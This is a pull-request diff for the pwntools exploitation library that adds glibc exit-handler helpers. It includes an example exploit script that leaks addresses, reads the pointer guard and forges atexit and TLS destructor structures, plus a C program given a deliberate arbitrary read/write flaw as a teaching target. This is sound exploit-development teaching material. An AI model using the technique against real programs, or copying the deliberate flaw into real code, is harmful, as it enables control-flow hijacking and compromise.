Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -117,6 +117,7 @@ The table below shows which release corresponds to each branch, and what date th
- [#2669][2669] asm: try native binutils before fallback architectures
- [#2673][2673] Add libc module for libc-related functions
- [#2680][2680] Cleanup Python 2 legacy
- [#2683][2683] libc: add atexit functions for glibc exploits
- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
- [#2682][2682] Fix `server.close()` not closing the listen socket
Expand Down Expand Up @@ -168,6 +169,7 @@ The table below shows which release corresponds to each branch, and what date th
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
[2673]: https://github.com/Gallopsled/pwntools/pull/2673
[2680]: https://github.com/Gallopsled/pwntools/pull/2680
[2683]: https://github.com/Gallopsled/pwntools/pull/2683
[2687]: https://github.com/Gallopsled/pwntools/pull/2687
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
[2682]: https://github.com/Gallopsled/pwntools/pull/2682
Expand Down
72 changes: 72 additions & 0 deletions examples/exit-handlers/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
from pwn import *
import shutil
import tempfile
import os

context.log_level = 'debug'
context.arch = 'amd64'
EXE = './vulnerable'
t = process(EXE)
elf = ELF(EXE)

# Copy libc so later we can unstrip it
libc = elf.libc
tmpfd, tmpname = tempfile.mkstemp()
print(tmpfd)
with open(libc.file.name, 'rb') as f:
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))

libcdb.unstrip_libc(tmpname)
libc = ELF(tmpname)

# Now fetch information
# XXX: in my build, the tls variable locates at fs:[-4]
t.recvuntil(b': ')
tls = int(t.recvline(), 16)
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')

t.recvuntil(b': ')
handle = int(t.recvline(), 16)

t.recvuntil(b': ')
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
info(f'Leak libc_base: {libc_base:#x}')
libc.address = libc_base

t.recvuntil(b': ')
chunk = int(t.recvline(), 16)

# Then read pointer_guard value
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
t.recvuntil(b': ')
guard = int(t.recvline(), 16)
info(f'Guard is: {guard:#x}')

# Next overwrite initial and tls_dtors
t.recvuntil(b'%p=%lx')
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
# on glibc 2.43, the offset is 0x498
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])

def write_object(addr: int, blob: bytes) -> str:
return ' '.join(
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
for i in range(0, len(blob), 8)
)

# Firstly, write glibc initial to overwrite global dtor
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
# Secondly, write tls dtor
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
# XXX: tls_dtor_list must be free-able
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
# on my machine it's fs:[-0x48]
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
# Thirdly, terminate cycle
t.sendline(b'x')
# Finally, wait for exit
t.recvuntil(b'happen:\n')
t.interactive()
Binary file added examples/exit-handlers/vulnerable
Binary file not shown.
39 changes: 39 additions & 0 deletions examples/exit-handlers/vulnerable.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <threads.h>
#include <unistd.h>

thread_local int x;

void malicious_handler(void *arg) {
printf("Calling handler with %p\n", arg);
}

int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Assume you have some way to leak information about TLS: %p\n", &x);
printf("Some more information about function to hijack: %p\n", malicious_handler);
printf("You can't exploit without glibc: %p\n", puts);

void *p = malloc(0x500);
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);

printf("Then you have some way to read/write pointer_guard\n");
size_t *where = NULL;
printf("Where to read? %%p > ");
scanf("%p", &where);
printf("Dereferenced value: %#lx\n", where ? *where : 0);

printf("Now perform arbitrary write ability on hijack exit handlers...\n");
printf("Write addresses in pairs: %%p=%%lx\n");
size_t value = 0;
while (scanf("%p=%lx", &where, &value) == 2) {
*where = value;
}

printf("Let's exit to see what will happen:\n");
return 0;
}
4 changes: 2 additions & 2 deletions pwnlib/context/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -1585,7 +1585,7 @@ def windbg_binary(self, value):
This is useful when you have multiple versions of WinDbg installed or the WinDbg binary is
called something different.

Usually, it is installed to ``C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe``.
Usually, it is installed to ``C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe``.
Adding the path to the Windows SDK to your PATH variable is recommended.

If set to an empty string, pwntools will try to search for a reasonable WinDbg binary from
Expand All @@ -1602,7 +1602,7 @@ def windbgx_binary(self, value):
This is useful when you have multiple versions of WinDbgX installed or the WinDbgX binary is
called something different.

Usually, it is installed to ``%LocalAppData%\Microsoft\WindowsApps\WinDbgX.exe``.
Usually, it is installed to ``%LocalAppData%\\Microsoft\\WindowsApps\\WinDbgX.exe``.

If set to an empty string, pwntools will try to search for a reasonable WinDbgX binary from
the path.
Expand Down
Loading
Loading